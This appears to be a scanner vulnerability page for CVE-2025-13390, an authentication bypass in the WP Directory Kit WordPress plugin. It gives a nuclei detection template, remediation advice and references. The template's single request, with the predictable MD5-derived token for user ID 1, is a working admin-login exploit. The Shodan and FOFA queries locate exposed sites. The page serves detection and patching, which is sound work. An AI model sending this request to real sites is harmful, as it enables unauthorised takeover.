WP Directory Kit <= 1.4.4 - Authentication Bypass

criticalseverity

10CVSS score

4.7%likelihood of exploitation, next 30 days

92%of all CVEs are less likely

Readycheck to confirm it

The WP Directory Kit plugin for WordPress version 1.4.4 and below contains an authentication bypass vulnerability in its auto-login functionality. The vulnerability allows unauthenticated attackers to gain administrative access by exploiting a cryptographically weak token generation mechanism that uses only the first 10 characters of MD5(user_id). For user_id=1 (typically admin), the token is always predictable.

Impact

Unauthenticated attackers can gain administrative access, leading to full site takeover.

Fix

Update to the latest version beyond 1.4.4.

How to confirm it

Send: GET /?auto-login=1&user_id=1&token=c4ca4238a0
Positive when: contains in header "wordpress_logged_in_" AND contains in header "Set-Cookie" AND status 302

Run it with nuclei: nuclei -id CVE-2025-13390 -u <target>

The full check

id: CVE-2025-13390

info:
  name: WP Directory Kit <= 1.4.4 - Authentication Bypass
  author: maxthepm
  severity: critical
  description: |
    The WP Directory Kit plugin for WordPress version 1.4.4 and below contains an authentication bypass vulnerability in its auto-login functionality. The vulnerability allows unauthenticated attackers to gain administrative access by exploiting a cryptographically weak token generation mechanism that uses only the first 10 characters of MD5(user_id). For user_id=1 (typically admin), the token is always predictable.
  impact: |
    Unauthenticated attackers can gain administrative access, leading to full site takeover.
  remediation: |
    Update to the latest version beyond 1.4.4.
  reference:
    - https://plugins.trac.wordpress.org/browser/wpdirectorykit/trunk/actions.php#L116
    - https://ryankozak.com/posts/cve-2025-13390/
    - https://github.com/d0n601/CVE-2025-13390
    - https://nvd.nist.gov/vuln/detail/CVE-2025-13390
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2025-13390
    epss-score: 0.04684
    epss-percentile: 0.91858
    cwe-id: CWE-287
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"/wp-content/plugins/wpdirectorykit"
    fofa-query: "body:/wp-content/plugins/wpdirectorykit"
  tags: cve,cve2025,wordpress,wp,wp-plugin,auth-bypass,wpdirectorykit,vkev

http:
  - raw:
      - |
        GET /?auto-login=1&user_id=1&token=c4ca4238a0 HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36

    redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "wordpress_logged_in_"
        case-insensitive: true

      - type: word
        part: header
        words:
          - "Set-Cookie"
        case-insensitive: true

      - type: status
        status:
          - 302

    extractors:
      - type: kval
        part: header
        kval:
          - set_cookie

References

Use this check only on systems you are authorised to test. Where the data comes from